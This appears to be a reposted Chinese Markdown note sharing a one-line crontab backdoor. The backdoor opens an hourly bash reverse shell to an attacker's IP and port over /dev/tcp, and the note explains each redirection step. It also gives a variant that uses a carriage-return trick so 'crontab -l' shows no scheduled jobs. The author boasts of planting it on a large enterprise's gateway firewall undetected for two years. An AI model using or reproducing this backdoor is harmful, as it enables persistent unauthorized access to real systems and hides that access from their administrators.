Skip to content

Latest commit

 

History

History
47 lines (23 loc) · 2.62 KB

15288418585142.md

File metadata and controls

47 lines (23 loc) · 2.62 KB

#一条命令实现无文件兼容性强的反弹后门,收集自强大的前乌云。

tags: #姿势#,

一条命令实现无文件兼容性强的反弹后门,收集自强大的前乌云。 我觉得很实用且强大,分享给大家.

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/IP/port;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

就是一条SHELL脚本,通过crontab 自定义一条定时执行的任务。

<详解> /dev/tcp/IP/port :通过调用/dev/tcp 类似发出了一个socket的调用,建立一个socket连接,读写这个/dev/tcp就相当于在这个socket连接中传输数据,后面跟上你控制端的IP和端口,当然也可以写上你的域名,这样你植入后门后,你接收SHELL的服务器IP发生改变,你同样能收到SHELL。

exec 9<> :9是linux 中的文件描述符,0代表从键盘输入,1代表标准输出的,2代表错误输出的,这个大家都知道吧,其实一共有10个,只是其它的默认没有打开。exec 9<> ,意思是以读写方式打开/dev/tcp,然后所有的数据都会保留在9这个文件描述符内,并通过tcp连接在两端传输。

exec 0<&9 :意思是将9里面的内容传送给输入端,作用是当我们在控制端输入命令的时候,命令就自动传到被控端并被输入执行.

exec 1>9& : 这个意思大家现在能明白了吧,就是被控端执行命令后的正确回显也输出到 9,这样我们在控制端就能接收到。

2>&1 :错误的输出也指向1,而前面1已经指向到了9,所以错误的消息也传向了9,这样我们就能在控制端收到正确和错误的回显了。

/bin/bash --noprofile -i :这个就是调用bash来执行我们输入的命令,后面跟的参数是禁止执行一些登录shell时调用的脚本。

前面的时间设定很简单,大家不明白的可以百度下,我曾经植入一条这样的后门到一个大型企业的网关防火墙上(linux内核),每个月只连出来一次,2年了人家都没发现,当然可能管理员比较懒。拿到网关shell当然各种代理就都不是事了。

当然管理员通过crontab -l 可以查看到任务,

不过你这样: (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -

猥琐版直接显示你用户名下没有任务....

在未连接状态启动反连任务的时候,进程和端口都无状态。